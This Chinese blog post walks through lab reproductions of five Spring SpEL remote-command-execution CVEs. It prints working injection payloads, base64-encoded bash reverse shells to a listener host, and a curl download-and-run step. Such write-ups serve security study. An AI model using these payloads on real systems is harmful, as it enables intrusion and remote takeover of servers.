当前位置: 代码迷 >> 综合 >> 【spring漏洞复现】CVE-2016-4977+CVE-2017-8046+CVE-2017-4971+CVE-2018-1270+CVE-2018-1273远程命令执行漏洞
  详细解决方案

【spring漏洞复现】CVE-2016-4977+CVE-2017-8046+CVE-2017-4971+CVE-2018-1270+CVE-2018-1273远程命令执行漏洞

热度:17   发布时间:2024-01-19 13:31:26.0

1.CVE-2016-4977

Spring Security OAuth 是为 Spring 框架提供安全认证支持的一个模块。在其使用 whitelabel views 来处理错误时,由于使用了Springs Expression Language(SpEL),攻击者在被授权的情况下可以通过构造恶意参数来远程执行命令。

1.访问网址:

http://192.168.225.139:8080/oauth/authorize?response_type=${233*233}&client_id=acme&scope=openid&redirect_uri=http://test

设置用户名(随意):admin admin

2.发现返回结果为${}中的乘法被执行:

3.使用自带的poc.py脚本生成命令:(这里写的创建一个临时目录)

python poc.py->touch /tmp/123

将得到的poc在url中执行:

返回靶机验证是否成功创建目录:

4.同样:也可以在kali监听进行反弹shell的操作,要对反弹shell的POC进行base64编码(java反弹shell都需要先编码,不然不会成功,原因貌似是runtime不支持管道符):

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIyNS4xMzMvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}

5.在url中执行命令:

6.成功反弹shell:

2.CVE-2017-4971

Spring WebFlow 是一个适用于开发基于流程的应用程序的框架(如购物逻辑),可以将流程的定义和实现流程行为的类和视图分离开来。在其 2.4.x 版本中,如果我们控制了数据绑定时的field,将导致一个SpEL表达式注入漏洞,最终造成任意命令执行。

1.访问8080端口,将看到一个酒店预订的页面,这是spring-webflow官方给的简单示例,点击login来到登录界面,用所给定的账号密码登录

2.登录后来到hotel界面,然后访问id为1的酒店http://192.168.225.139:8080/hotels/1,点击预订按钮“Book Hotel”,填写相关信息后点击“Process”(从这一步,其实WebFlow就正式开始了):

3.再点击确认“Confirm”进行抓包:

原理:在订阅酒店处,存在一个命令执行,直接调用了两个函数,这两个函数,一个是:addDefaultMappings,一个是addModelBindings

其中,直接控制field这个值的函数是addDefaultMappings,且未做过滤,而addModelBindings是直接获取的java的一个配置文件,由配置文件来确定是否有binder节点,如果有,就无法触发代码执行。所以条件有两个:

1binder节点为空;

2useSpringBeanBinding默认值(false)未修改。

由此可实际在代码中找到该页面,节点为空(代替命令执行语句)+默认值为false(点击Confirm按钮)

3.构造payload:

&_(new+java.lang.ProcessBuilder("bash","-c","bash+-i+>%26+/dev/tcp/192.168.225.133/6666+0>%261")).start()=vulhub

4.成功反弹shell

3.CVE-2017-8046

Spring Data REST是一个构建在Spring Data之上,为了帮助开发者更加容易地开发REST风格的Web服务。在REST APIPatch方法中【实现RFC6902(https://tools.ietf.org/html/rfc6902)),path的值被传入setValue,导致执行了SpEL表达式,触发远程命令执行漏洞。

1访问8080端口,看到json格式的返回值,说明这是一个Restful风格的API服务器。发现两个网址:

2.分别进行访问,只有customers可以访问,进行该页面的抓包:

修改请求头为Content-Type:application/json-patch+json

需要参数op、路径path,其中op所支持的方法很多,如testaddreplace等,path参数则必须使用斜杠分割

3.抓包,修改参数:参数path存在代码注入,可执行系统命令,这里运行的命令是尝试创建文件夹:

new byte[]{116,111,117,99,104,32,47,116,109,112,47,115,117,99,99,101,115,115}

path的值是SpEL表达式,发送上述数据包,执行写入表命令:touch /tmp/success,成功写入

4.也可以进行反弹shell的操作,因为payload先要进行base64编码

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIyNS4xMzMvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}

再进行ascii转码

这里有一个脚本:(生成的ASCII码中的空格要替换成英文的逗号,可以放在文本编辑器中ctrl+h全部替换:)

修改burp中path的byte里面的数值:

成功反弹shell:

4.CVE-2018-1270

spring messaging是基于sockjs(可以理解为一个通信协议),而sockjs适配多种浏览器:现代浏览器中使用websocket通信,老式浏览器中使用ajax通信。

连接后端服务器的流程,可以理解为: STOMP协议将数据组合成一个文本流,再用sockjs协议发送文本流,sockjs会选择一个合适的通道:websocketxhr(http),与后端通信,使用http来复现漏洞,称之为降维打击

1.使用如下脚本直接进行命令执行,创建一个名为test的文件夹,注意需要修改目标IP(需要使用9-+*/python>=3.6):

检查是否写入:

2.同上一个漏洞,也可以进行反弹shell的操作(有脚本):

在kali机上成功反弹shell:

5.CVE-2018-1273

Spring Data是一个用于简化数据库访问,并支持云服务的开源框架,Spring Data CommonsSpring Data下所有子项目共享的基础框架。Spring Data Commons 2.0.5及以前版本中,存在一处SpEL表达式注入漏洞,攻击者可以注入恶意SpEL表达式以执行任意命令。

1.访问http://192.168.225.139:8080/users,将可以看到一个用户注册页面,提交抓包:

2.修改数据包,执行创建success文件的命令:

username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch /tmp/success")]=&password=&repeatedPassword=

成功写入:

3.尝试反弹shell(针对bash环境):与上面的思路大同小异,只是这里执行的文件为.sh,内容为:

4.将bash.sh上传到/root目录下:,首先使用curl命令指定路径将bash.sh下载到目标主机/tmp/目录下:

username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("curl -o /tmp/bash.sh http://192.168.225.133:9999/bash.sh")]=&password=&repeatedPassword=

5.在监听口可以知道文件已下载,开始执行命令:

username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("bash /tmp/bash.sh")]=&password=&repeatedPassword=

执行.sh文件:成功反弹shell:

成功反弹shell:

  相关解决方案